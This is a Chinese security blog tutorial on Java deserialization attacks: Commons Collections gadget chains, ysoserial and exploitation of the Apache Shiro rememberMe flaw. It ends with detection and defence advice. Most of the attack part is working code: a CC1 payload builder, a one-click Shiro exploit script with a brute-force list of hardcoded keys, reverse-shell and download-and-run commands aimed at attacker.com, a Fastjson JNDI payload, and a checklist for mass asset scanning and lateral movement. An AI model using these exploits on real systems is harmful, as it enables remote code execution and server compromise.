技术难度:⭐⭐⭐⭐⭐(需要 Java 基础 + 反射机制 + 一点 ClassLoader 知识)
演示版本:Apache Shiro 1.2.4(典型漏洞版本)、ysoserial 0.0.6
测试环境:建议全程在自己搭建的靶场中进行
写在前面:Java 反序列化为何成为经典
如果说 SSRF 是"服务器替我敲门",那 Java 反序列化就是"我让服务器自己执行恶意代码"。
2015 年,Gabriel Lawrence 和 Chris Frohoff 在 AppSecCali 上公布了 Apache Commons Collections 的反序列化利用链,整个 Java 生态都震了一下。因为这条链子只用了标准库 + 一个第三方 jar 包(Commons Collections),就能在服务器上执行任意命令。
更刺激的是,几乎所有的 Java Web 应用都直接或间接用到了 Commons Collections,Spring、Struts、Tiles、Shiro 等框架都躺枪。从那以后:
ysoserial 横空出世,成了 Java 反序列化的"瑞士军刀"
几乎所有主流 Java 框架都被挖出过反序列化漏洞(Shiro、WebLogic、Fastjson、Jenkins、JBoss...)
黑产里挖矿、勒索软件的初始入侵手段,Java 反序列化高居前列
国内 SRC 平台上,一个未修复的 Shiro 反序列化能值 5000-50000 元
理解 Java 反序列化利用链,是从"会用工具的脚本小子"进阶到"能挖 0day 的研究员"的必经之路。
一、Java 序列化基础(30 秒入门)
Java 的序列化机制把对象转换为字节流,便于存储或网络传输。反序列化则相反。
序列化协议结构
// 序列化头部 ACED 0005 // 魔数 + 版本 73 // TC_OBJECT 72 // TC_CLASSDESC ... // 类名、字段描述符一个最简的序列化示例:
// 序列化 User user = new User("admin", 18); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.bin")); oos.writeObject(user); oos.close(); // 反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.bin")); User u = (User) ois.readObject();魔数(Magic Number)
Java 序列化数据以字节AC ED 00 05开头(base64 编码后是rO0AB)。这个特征可以用来快速识别 Java 序列化流量。
实战技巧:抓包看到 cookie 或参数里有
rO0AB、aced0005这种特征,直接按反序列化思路挖。
关键方法
readObject():反序列化的入口readResolve():反序列化后替换对象writeObject():自定义序列化逻辑writeReplace():序列化前替换对象readExternal()/writeExternal():Externalizable 接口
重点关注readObject,因为攻击者能控制的代码最终会从这里开始执行。
二、什么是 Gadget Chain(利用链)
很多初学者把反序列化漏洞理解成"反序列化时执行了命令",这是错的。反序列化本身只是恢复对象状态,不会主动执行任意命令。
漏洞的本质是:在反序列化过程中,应用的代码逻辑(readObject或后续调用的方法)触发了某条 "恶意调用链"。这条链子就叫Gadget Chain。
一个极简的 Gadget Chain
// 假设有这样一个类 public class Evil implements Serializable { private String cmd; private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(cmd); // 在反序列化时执行命令 } } // 攻击者只需要序列化一个 Evil 对象 // 当应用反序列化这个对象时,cmd 字段会被执行但现实中不会有这么明显的类。真实的利用链要靠反射 + 第三方库的"魔法"方法来构造。
反射 + 动态代理 = 利用链的发动机
反射让你可以:
动态调用任意方法
访问私有字段
绕过泛型检查
动态代理让你可以:
在方法调用前后插入任意代码
实现任意接口
这两个机制组合起来,几乎可以模拟任何调用序列。Commons Collections 的InvokerTransformer、Shiro 的Cookie记住我机制,都是反射的经典应用。
三、ysoserial 工具实战
ysoserial 是 Java 反序列化的"事实标准"工具,由漏洞原作者开发。
安装
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 编译后生成 target/ysoserial-0.0.6-SNAPSHOT-all.jar基础使用
# 生成 Commons Collections 5 的 payload java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/pwned" > cc5.bin # 配合 curl 提交(假设漏洞点是 HTTP 参数) curl -X POST http://target.com/api --data-binary @cc5.bin # 配合 JRMP 起一个反序列化服务 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "curl http://attacker.com/shell.sh|bash"ysoserial 内置的 gadget 列表
| Gadget 名称 | 依赖库 | 优先级 |
|---|---|---|
| CommonsCollections1-7 | Apache Commons Collections 3.x | ⭐⭐⭐ |
| CommonsBeanutils1 | commons-beanutils | ⭐⭐⭐ |
| Spring1-2 | Spring | ⭐⭐ |
| Groovy1 | Groovy | ⭐⭐ |
| BeanShell1 | BeanShell | ⭐⭐ |
| ROME | ROME | ⭐ |
| Click1 | Click | ⭐ |
| Hibernate1 | Hibernate | ⭐ |
| JavassistWeld1 | Javassist/Weld | ⭐ |
| JBossInterceptors1 | JBoss | ⭐ |
| MozillaRhino1 | Rhino | ⭐ |
| MozillaRhino2 | Rhino | ⭐ |
| Vaadin1 | Vaadin | ⭐ |
| URLDNS | 仅 JDK | ⭐⭐⭐⭐(无依赖) |
挖洞时按顺序试:URLDNS → CommonsCollections → CommonsBeanutils → Spring → Groovy等等。
URLDNS 是什么神仙 gadget
URLDNS 是 ysoserial 里最特殊的一个 gadget:
只需要 JDK,不需要任何第三方库
不会执行命令,只触发一次 DNS 解析
用来验证目标是否存在反序列化漏洞(看 DNS 解析记录就行)
java -jar ysoserial-all.jar URLDNS "http://your-dns-burp-collaborator.com" > urldns.bin
发送 payload 到目标,如果 DNS 平台收到了解析请求,说明目标存在反序列化漏洞。然后再用其他 gadget 打。
这是 SRC 挖洞的标准动作——先用 URLDNS 验证,再用真实 gadget 执行命令。
四、Apache Commons Collections 利用链深度解析
Commons Collections(CC)是 Java 反序列化研究的"入门教材"。我们深入分析 CC1,理解 gadget chain 的构造思路。
CC1 完整利用链
ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() -> ChainedTransformer.transform() -> ConstantTransformer.transform() // 获取 Runtime 类 -> InvokerTransformer.transform() // 反射调用 getMethod -> InvokerTransformer.transform() // 反射调用 forName -> InvokerTransformer.transform() // 反射调用 getRuntime -> InvokerTransformer.transform() // 反射调用 exec -> Runtime.exec("command")关键组件
1. InvokerTransformer(反射执行器)
public class InvokerTransformer implements Transformer { private final String iMethodName; // 方法名 private final Class[] iParamTypes; // 参数类型 private final Object[] iArgs; // 参数 public Object transform(Object input) { if (input == null) return null; try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (Exception ex) { throw new FunctorException(...); } } }这是 gadget chain 的"发动机"——transform方法可以调用任意对象的任意方法。
2. ChainedTransformer(链式调用)
public class ChainedTransformer implements Transformer { private final Transformer[] iTransformers; public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }把多个 Transformer 串起来,前一个的输出作为后一个的输入。
3. ConstantTransformer(常量提供器)
public class ConstantTransformer implements Transformer { private final Object iConstant; public ConstantTransformer(Object constant) { iConstant = constant; } public Object transform(Object input) { return iConstant; } }提供链的"起点常量"。比如用new ConstantTransformer(Runtime.class)启动一个调用 Runtime 的链。
4. LazyMap(懒加载触发点)
public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); // 这里调用 transformer map.put(key, value); return value; } return map.get(key); }当get一个不存在的 key 时,会调用factory.transform(key)。
5. AnnotationInvocationHandler(反序列化入口)
这是sun.reflect.annotation.AnnotationInvocationHandler,JDK 自带,没有 commons-collections 时也能用。它的readObject会在反序列化时遍历 map 的每个 entry 并调用entry.getValue(),触发 LazyMap 的get方法。
完整 Payload 构造(CC1)
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import java.util.*; import java.lang.reflect.*; public class CC1 { public static void main(String[] args) throws Exception { // 1. 构造命令执行链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) // macOS }; Transformer chainedTransformer = new ChainedTransformer(transformers); // 2. 包装为 LazyMap Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); // 3. 通过反射创建 AnnotationInvocationHandler Class<?> handlerClass = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = handlerClass.getDeclaredConstructor( Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance( Override.class, lazyMap); // 4. 用动态代理包装 Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler); // 5. 再用 AnnotationInvocationHandler 包装一次(外层) Object finalObj = constructor.newInstance( Override.class, proxyMap); // 6. 序列化 ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream("cc1.bin")); oos.writeObject(finalObj); } }注意:CC1 在 JDK 8u71 之后失效了,原因是
AnnotationInvocationHandler的 readObject 逻辑改了。实战中要用CC5、CC6、CC7等更稳定的 gadget。
CC6(更稳的版本)
CC6 用了HashSet+TiedMapEntry,绕开了AnnotationInvocationHandler,兼容性更好:
// 关键调用链 HashMap.readObject() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransformer.transform() -> ... 最终执行命令CC6 在 JDK 8u72 之后仍然有效,是目前最常用的 CC gadget。
五、Apache Shiro 反序列化漏洞深度分析
Apache Shiro 是 Java 界最流行的权限框架之一。它的反序列化漏洞比 Commons Collections 更具实战价值——因为 Shiro 的漏洞直接暴露在 HTTP 流量中,不需要复杂的协议交互。
漏洞背景
CVE-2016-4437(Shiro 1.2.4)
受影响版本:Shiro < 1.2.5
漏洞点:
rememberMeCookie
Shiro 的 RememberMe 机制
Shiro 提供"记住我"功能,登录后用户关闭浏览器仍然保持登录状态。流程:
登录成功 -> 生成 PrincipalCollection -> 序列化(Java ObjectOutputStream) -> AES 加密 -> Base64 编码 -> 写入 Cookie: rememberMe=xxx请求时:
读取 Cookie: rememberMe -> Base64 解码 -> AES 解密 -> 反序列化(ObjectInputStream) -> 恢复 PrincipalCollection漏洞原理
Shiro 1.2.4 使用了硬编码的 AES 密钥:
// AbstractRememberMeManager.java(Shiro 1.2.4 源码) private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode( "kPH+bIxk5D2deZiIxcaaaA==" );这个密钥是公开的(写在 GitHub issue 里),攻击者拿到这个密钥后:
用 ysoserial 生成恶意序列化数据
用硬编码密钥 AES 加密
Base64 编码
替换 Cookie 中的
rememberMe字段发送给目标服务器
Shiro 反序列化时执行恶意代码
漏洞复现环境
# 拉取 Vulhub 靶场 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 docker-compose up -d启动后访问http://your-ip:8080,登录页面任意账号密码登录,提示登录失败但 Set-Cookie 里有rememberMe=deleteMe。
漏洞利用
Step 1:探测 Shiro
# 直接访问目标,如果返回 Set-Cookie 包含 rememberMe=deleteMe curl -i http://target.com/login
deleteMe是 Shiro 在反序列化失败时设置的标志。看到这个 Cookie 就可以确认使用了 Shiro。
Step 2:生成 Payload
Shiro 用的是 AES-CBC 加密,需要带 IV。ysoserial 默认不带 IV,要用专门的工具:
# 用 shiro-exploit 或者自行构造 java -jar ysoserial-all.jar CommonsBeanutils1 "bash -i >& /dev/tcp/attacker.com/4444 0>&1" > cb1.binStep 3:加密 Payload
import base64 from Crypto.Cipher import AES import uuid # 1. 读取 ysoserial 生成的 payload with open('cb1.bin', 'rb') as f: payload = f.read() # 2. 构造 IV(Shiro 用前 16 字节作为 IV) iv = uuid.uuid4().bytes # 随机 16 字节 # 3. 加密 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(payload + b'\x00' * ((16 - len(payload) % 16) % 16)) # 4. IV + 密文 rememberMe = base64.b64encode(iv + encrypted).decode() print(f"rememberMe={rememberMe}")Step 4:发送请求
curl -i http://target.com/login -b "rememberMe=<生成的 rememberMe 值>"Step 5:收反弹 Shell
nc -lvnp 4444完整利用脚本
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Shiro 反序列化一键利用工具 支持 CBC + GCM 两种模式(适配不同 Shiro 版本) """ import sys import base64 import uuid import subprocess import requests from Crypto.Cipher import AES # 默认硬编码密钥 DEFAULT_KEY = b"kPH+bIxk5D2deZiIxcaaaA==" # 常见硬编码密钥字典 KEYS = [ b"kPH+bIxk5D2deZiIxcaaaA==", b"4AvVhmFLUs0KTA3Kprsdag==", b"Z3VucwAAAAAAAAAAAAAAAA==", b"suiV1YrGwAAAAAAAAAAAA==", b"fCq+/xW488hMTCD+cmJ3aQ==", b"0AvVhmFLUs0KTA3Kprsdag==", b"1QWLxg+NYmxraMoxAXu/Iw==", b"ZUdsaGJUSmxZbU5sY3c9PQ==", b"2AvVhdsgUs0FSA3SDFAdag==", b"3AvVhmFLUs0KTA3Kprsdag==", b"wGiHplamyXlVB11UXWol8g==", b"6ZmI6I2j5Y+R5aSn5ZOlAA==", b"r0e3c16IdVkouZgk1TKVMg==", b"5aaC5qKm5oqA5pyvAAAAAA==", b"bWljcm9zAAAAAAAAAAAAAA==", b"ZWvohmPdUsAWT3N_1tB1FQ==", b"L7RioUULEFhRyxM7a2R/Yg==", b"a2VlamFjb3JzaW9uX2lkXz4K", b"a3dvcmcAAAAAAAAAAAAAAA==", b"cGhyYWNrY3MAAAAAAAAAAAAA", b"2itfW92XazYRi5YtW8BfgA==", b"fCq+/xW488hMTCD+cmJ3aQ==", b"eXNoAAAAAAAAAAAAAAAAAAAA", b"Q01TQ0Z3PT0AAAAAAAAAAAA=", b"Ymx1ZXdoYWxlAAAAAAAAAA==", ] def shiro_cbc_encrypt(key, payload): """CBC 模式加密""" iv = uuid.uuid4().bytes cipher = AES.new(key, AES.MODE_CBC, iv) # PKCS7 padding pad_len = 16 - len(payload) % 16 padded = payload + bytes([pad_len] * pad_len) encrypted = cipher.encrypt(padded) return base64.b64encode(iv + encrypted).decode() def shiro_gcm_encrypt(key, payload): """GCM 模式加密(Shiro >= 1.4.2)""" iv = uuid.uuid4().bytes cipher = AES.new(key, AES.MODE_GCM, iv) encrypted, tag = cipher.encrypt_and_digest(payload) # 拼接 iv + encrypted + tag return base64.b64encode(iv + encrypted + tag).decode() def exploit(target, cmd, key=DEFAULT_KEY, mode='cbc'): """完整利用流程""" # 1. 生成 ysoserial payload print(f"[*] 生成 payload: {cmd}") ysoserial_jar = "ysoserial-all.jar" proc = subprocess.run( ["java", "-jar", ysoserial_jar, "CommonsBeanutils1", cmd], capture_output=True ) payload = proc.stdout # 2. 加密 if mode == 'cbc': rememberMe = shiro_cbc_encrypt(key, payload) else: rememberMe = shiro_gcm_encrypt(key, payload) print(f"[*] 加密完成,发送请求到 {target}") # 3. 发送 r = requests.get(target, cookies={"rememberMe": rememberMe}) print(f"[*] 状态码: {r.status_code}") def detect_shiro(target): """探测 Shiro 框架""" r = requests.get(target) if 'rememberMe' in r.headers.get('Set-Cookie', ''): return True # 检查 Set-Cookie if r.headers.get('Set-Cookie', '').startswith('rememberMe=deleteMe'): return True return False def brute_key(target): """暴力尝试默认密钥""" print("[*] 尝试默认密钥...") for i, key in enumerate(KEYS): try: # 加密一个普通序列化对象 payload = b'\xac\xed\x00\x05t\x00\x08whoami' if shiro_cbc_encrypt(key, payload): r = requests.get(target, cookies={"rememberMe": shiro_cbc_encrypt(key, payload)}) # 如果不返回 deleteMe 说明 key 正确 if 'deleteMe' not in r.headers.get('Set-Cookie', ''): print(f"[+] 找到密钥: {key.decode()}") return key except Exception as e: pass return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python shiro_exploit.py <target> <cmd> [mode]") print("Example: python shiro_exploit.py http://target.com/login 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] mode = sys.argv[3] if len(sys.argv) > 3 else 'cbc' if detect_shiro(target): print("[+] 确认目标使用 Shiro") key = brute_key(target) or DEFAULT_KEY exploit(target, cmd, key, mode)Shiro 漏洞识别 Checklist
# 1. 观察 Set-Cookie 是否包含 rememberMe=deleteMe curl -i http://target.com # 2. 发送一个无效的 rememberMe,看是否返回 deleteMe curl -i http://target.com -b "rememberMe=invalid" # 3. 加密一个简单的 Java 对象,发送后看是否还返回 deleteMe python -c " import base64 from Crypto.Cipher import AES import uuid key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==') iv = uuid.uuid4().bytes cipher = AES.new(key, AES.MODE_CBC, iv) payload = b'\\xac\\xed\\x00\\x05test' * 4 pad = 16 - len(payload) % 16 data = cipher.encrypt(payload + bytes([pad]*pad)) print(base64.b64encode(iv+data).decode()) "如果不返回deleteMe,说明密钥匹配,可以继续用 ysoserial 打。
六、其他高频反序列化漏洞
1. WebLogic 反序列化
CVE-2015-4852:T3 协议反序列化
CVE-2017-3506 / CVE-2017-10271:XMLDecoder 反序列化
CVE-2019-2725 / CVE-2019-2729:wls-wsat 组件
CVE-2020-2551:IIOP 协议
实战要点:
WebLogic 默认开 T3 协议(7001 端口)
用
WebLogicMemShellScan等工具探测利用
weblogic_cmd工具一键打
2. Fastjson 反序列化
CVE-2017-18349、CVE-2019-14439、CVE-2019-14540等
利用
autoType机制加载恶意类一把梭工具:
fastjson_exploit
# 简单 payload {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}3. Jenkins 反序列化
CVE-2017-1000353:Java 反序列化导致 RCE
工具:
jenkins_exploit或ysoserial的Jenkins
4. JBoss / WildFly 反序列化
CVE-2015-7501、CVE-2017-12149等
通常通过
invoker或JMXInvokerServlet利用
5. Apache Dubbo 反序列化
近年新出,特别是直接面向公网的 Dubbo 服务
CVE-2021-30179:Hessian2 反序列化
CVE-2021-32824:Hessian2 gadget
6. Log4j 与反序列化
Log4j (CVE-2021-44228) 本身是 JNDI 注入,但配合序列化数据可以做更深的攻击。
七、检测 Java 反序列化漏洞
1. 黑盒测试
流量特征识别
# 流量中看到这些特征,要警觉 magic_bytes = b'\xac\xed\x00\x05' # Java 序列化魔数 b64_pattern = r'rO0AB' # base64 编码的 Java 序列化工具推荐
| 工具 | 用途 |
|---|---|
| ysoserial | 生成 payload |
| marshalsec | JRMP 监听 |
| Burp Suite | 抓包 + 插件Java Deserialization Scanner |
| GadgetProbe | 探测可用的 gadget 链 |
| SerializationDumper | 解析 Java 序列化数据 |
| ysoserial-modified | 增强版,支持更多 gadget |
| SerializationScanner | 黑盒扫描 |
主动探测技巧
# 用 URLDNS gadget 探测 java -jar ysoserial-all.jar URLDNS "http://test.burpcollaborator.net" > payload.bin # 发送 payload,看 DNS 平台是否收到解析 # 用 JRMPListener 起一个恶意服务 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "touch /tmp/pwned" # 让目标连接你的 1099 端口(用 CC gadget 中的 JRMPClient)2. 白盒审计
危险 API 清单
// 危险:直接反序列化不可信数据 ObjectInputStream.readObject() XMLDecoder.readObject() XStream.fromXML() SnakeYAML.load() Jackson ObjectMapper.enableDefaultTyping() HessianInput.readObject() // ... 等等审计重点
# 1. 搜索反序列化入口 grep -rn "readObject\|XMLDecoder\|XStream\|SnakeYAML" src/ # 2. 搜索 Shiro rememberMe 配置 grep -rn "AbstractRememberMeManager\|rememberMe" src/ # 3. 搜索 Java 原生序列化 grep -rn "ObjectInputStream\|Serializable" src/ # 4. 搜索 Fastjson autoType grep -rn "autoType\|enableDefaultTyping" src/代码审计工具
IDEA 插件:FindBugs、SpotBugs、CheckStyle
Fortify SCA(商业)
Semgrep(开源)
CodeQL(GitHub 开源)
3. RASP 防御
百度 OpenRASP:Java 反序列化 RASP 防御
阿里 ADS:Java 安全检测
字节火山引擎RASP
八、防御方案(完整代码示例)
1. 黑名单(基础)
// 配置 ObjectInputFilter 过滤危险类 ObjectInputFilter filter = new ObjectInputFilter() { private final Set<String> blacklist = new HashSet<>(Arrays.asList( "org.apache.commons.collections.functors.InvokerTransformer", "org.apache.commons.collections.functors.ChainedTransformer", "org.apache.commons.collections.functors.ConstantTransformer", "org.apache.commons.collections.functors.InstantiateTransformer", "org.apache.commons.beanutils.BeanComparator", "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.MethodClosure", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.lang.Runtime", "javax.script.ScriptEngine", // ... 更多 )); @Override public Status checkInput(Info info) { Class<?> clazz = info.serialClass(); if (clazz != null && blacklist.contains(clazz.getName())) { return Status.REJECTED; } return Status.UNDECIDED; } }; ObjectInputStream ois = new ObjectInputStream(input); ois.setObjectInputFilter(filter);2. 升级到无依赖的 gadget-free 库
<!-- 用 commons-collections4 替代 3.x,避免大部分 CC gadget --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.4</version> </dependency>3. Shiro 专项修复
<!-- 升级到 1.2.5+ --> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.9.1</version> </dependency>自定义密钥:
// application.properties shiro.codecSource=custom shiro.rememberMe.key=YOUR_RANDOM_64_BYTE_KEY_BASE64_ENCODED // 启动时随机生成 String key = Base64.getEncoder().encodeToString(new byte[32]); // 写入配置文件4. 业务层方案
// 用白名单类加载器(SerializationDumper 工具的原理) public class SafeObjectInputStream extends ObjectInputStream { private static final String[] ALLOWED_PACKAGES = { "com.yourcompany.model.", "java.util.", "java.lang." }; @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); if (!Arrays.stream(ALLOWED_PACKAGES).anyMatch(name::startsWith)) { throw new InvalidClassException("Unauthorized deserialization: " + name); } return super.resolveClass(desc); } }5. 流量层检测
WAF 规则:拦截包含 Java 序列化魔数 (
AC ED 00 05) 的请求IDS 规则:Suricata/Snort 检测异常 JRMP 流量
RASP:运行时检测危险调用
九、实战 Checklist
挖洞时的检查清单
1. 资产发现
- 用
ShiroScan、Railgun等工具批量扫描 Shiro 资产 - 用
Goby批量识别 Java 应用 - Fofa / ZoomEye / Shodan 搜索特征:
app="Apache-Shiro"app="WebLogic"app="Jenkins"app="JBoss"
2. 漏洞验证
- 看 Set-Cookie 是否有
rememberMe=deleteMe - 尝试默认密钥(用
shiro_exploit工具) - 用 URLDNS 探测是否存在反序列化入口
- 看请求/响应是否有 Java 序列化魔数
3. 漏洞利用
- 用
ysoserial生成 payload - 加密 rememberMe Cookie
- 发送 payload,反弹 shell
- 内网渗透(提权、横移)
4. 漏洞报告
- 漏洞标题、URL、Payload
- 利用过程截图
- 修复建议(具体版本号)
应急响应清单(被攻击方)
- 立即升级 Shiro 到 1.9.1+
- 更换 rememberMe 密钥
- 检查服务器是否已被植入后门
- 审查日志,看异常请求时间点
- 全量排查所有 Java 应用的反序列化风险
- 部署 RASP 监控
十、总结
Java 反序列化的核心要点
| 维度 | 关键点 |
|---|---|
| 原理 | readObject + 反射 + 第三方库"魔法方法"构造调用链 |
| 工具 | ysoserial、marshalsec、GadgetProbe、SerializationDumper |
| 高频目标 | Shiro、WebLogic、Fastjson、Jenkins、JBoss、Dubbo |
| 挖洞技巧 | URLDNS 验证 → 默认密钥爆破 → ysoserial payload |
| 防御 | 升级版本、随机密钥、黑名单、流量检测 |
进阶学习路径
Java 基础:反射、动态代理、ClassLoader
源码分析:通读 ysoserial 所有 gadget 的源码
框架源码:看 Shiro、Spring 的反序列化处理逻辑
新漏洞跟踪:关注 GitHub Security Advisory、CNVD
漏洞挖掘:从公开 gadget 改造出自己的 chain(0day 的起点)
资源推荐
ysoserial 源码:必读,理解 gadget 构造
marshalsec:JRMP 攻击神器
GadgetProbe:运行时探测 gadget
P 牛的 Java 反序列化的前世今生(博客园):中文圈最经典的文章
白帽子讲 Web 安全(电子工业出版社)
先知社区Java 反序列化分类文章
《Java 核心技术 卷 1》:补 Java 基础
写在最后
Java 反序列化是一个"门槛在 Java 基础,深度在 gadget 构造"的领域。
挖洞时记住:
Shiro 1.2.4 默认密钥:几乎所有大厂都修过,但中小厂仍大量存在
WebLogic 7001 端口:互联网暴露面广
Fastjson autoType:很多 Java 业务系统仍在用低版本
JRMPListener:在内网渗透时非常好用
希望这篇能帮你打开 Java 反序列化的大门。
法律提醒:本文所有技术仅供授权测试使用。未经授权对系统进行渗透测试属于违法行为。
如果觉得有用,点赞 + 收藏 + 关注,三连支持一下~
下一篇预告:《从 Shiro 到 RCE:Java 渗透测试中的完整攻击链》